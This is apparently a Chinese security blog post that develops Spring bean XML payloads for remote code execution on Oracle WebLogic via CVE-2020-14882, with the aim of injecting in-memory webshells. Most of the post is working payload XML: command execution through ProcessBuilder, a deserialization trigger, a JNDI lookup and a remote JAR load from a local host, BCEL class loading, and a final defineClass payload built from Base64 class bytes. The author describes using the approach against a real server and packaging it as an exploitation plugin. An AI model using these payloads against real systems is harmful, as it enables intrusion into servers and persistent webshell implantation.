weblogic下spring bean RCE的一些拓展

0x00 背景

有一次通过CVE-2020-14882漏洞打了一台Windows上的weblogic 10.3.6.0,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>

只能思考如何构造可以执行任意代码的spring bean xml来一键注入内存马了。

weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。

同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。

  1. 兼容性高
  2. 利用复杂度低
  3. 简洁体积小

接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。

0x01 init-method系列payload

目前公开的payload是将恶意数据传入构成函数,然后通过init-method来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。

1.2 UnitOfWorkChangeSet

在weblogic 10.3.6.0版本有一个oracle.toplink.internal.sessions.UnitOfWorkChangeSet类,构造函数可以直接触发反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="oracle.toplink.internal.sessions.UnitOfWorkChangeSet">
<constructor-arg>
<list>
<!-- 反序列化gadget序列化数据 -->
<value type="byte">-84</value>
<value type="byte">-19</value>
<value type="byte">0</value>
<value type="byte">5</value>
......
</list>
</constructor-arg>
</bean>
</beans>

但是这个payload需要有gadget才能任意代码执行,显然不是很完美。

1.2 XmlDecoder

在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。

1
2
3
4
5
String xml = "<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>";

ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes());
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
xmlDecoder.readObject();

把上面代码转成spring bean如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.beans.XMLDecoder" init-method="readObject">
<constructor-arg>
<bean id="x" class="java.io.ByteArrayInputStream" >
<constructor-arg>
<list>
<!-- xml序列化内容 -->
<value type="byte">60</value>
<value type="byte">106</value>
<value type="byte">97</value>
<value type="byte">118</value>
<value type="byte">97</value>
<value type="byte">62</value>
......
</list>
</constructor-arg>
</bean>
</constructor-arg>
</bean>
</beans>

这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。

0x02 factory-method系列payload

后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路

  1. 编写gadgetinspector规则挖掘符合条件的class
  2. 再翻翻官方文档,看看有没有可能直接调用有参数方法。

很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看官方文档时,我着重关注如下涉及方法调用的标签和属性。

标签/属性 分析
<bean><constructor-arg></constructor-arg></bean> 调用构造器
<property> 创建bean时,可调setter方法
init-method bean初始化时,可以调用一个无参方法
destroy-method bean被销毁时,可以调用一个无参方法
lookup-method 可以控制返回结果,但是weblogic没有cglib库,这个标签没发用
replace-method 任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑
factory-method 通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以

很显然factory-method非常符合我们的要求,构造起payload就轻松多了。

2.1 jndi

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean class="javax.naming.InitialContext" factory-method="doLookup">
<constructor-arg type="java.lang.String" value="ldap://127.0.0.1:1664/exp"/>
</bean>
</beans>

jndi有jdk版本限制,so继续优化。

2.2 loadjar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="classLoader" class="java.net.URLClassLoader" >
<constructor-arg>
<list>
<value type="java.net.URL">http://127.0.0.1:1664/exp.jar</value>
</list>
</constructor-arg>
</bean>
<bean id="clazz" factory-bean="classLoader" factory-method="loadClass">
<constructor-arg type="java.lang.String" value="InjectMemshell"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance">
</bean>
</beans>

加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。

2.3 bcel

1
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$...").newInstance();

代码转换为spring bean:

1
2
3
4
5
6
7
8
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">
<bean id="classloader" class="com.sun.org.apache.bcel.internal.util.ClassLoader"/>
<bean id="clazz" factory-bean="classloader" factory-method="loadClass">
<constructor-arg type="java.lang.String" value="$$BCEL$$$......"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance">
</bean>
</beans>

有的JDK版本下bcel被去掉了,so还得继续优化。

2.4 java.lang.ClassLoader#defineClass

java下执行代码要说兼容性最好,当然还得是java.lang.ClassLoader#defineClass。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。

1
2
3
4
5
byte[] clazzBytes = new byte[]{-54,-2,-70,-66,0,......};
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(new MLet(),clazzBytes,0,clazzBytes.length);
clazz.newInstance();

通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。

构造过程还遇到一个问题,使用<list>标签存储class字节码导致payload要大很多。当然有的人会想的用weblogic.utils.Hex来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑weblogic.*包名下的。最后找到了如下两个,不过1没有被当前classloader加载,只能选择2

  1. weblogic.servlet.utils.Base64
  2. weblogic.utils.encoders.BASE64Decoder

最终优化如下,大概就是我目前觉得最好的payload了。如果你有更好的payload欢迎留言交流。

1
2
3
4
5
6
7
8
9
10
11
12
13
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">
<bean id="decoder" class="weblogic.utils.encoders.BASE64Decoder"/>
<bean id="clazzBytes" factory-bean="decoder" factory-method="decodeBuffer">
<constructor-arg type="java.lang.String" value="yv66vgAAA......"/>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg type="[B" ref="clazzBytes"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="10692"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>

通过spring bean注入内存马

顺便写一个woodpecker插件留以后备用,美如画。

woodpecker spring bean rce payload生成插件

0x03 参考文章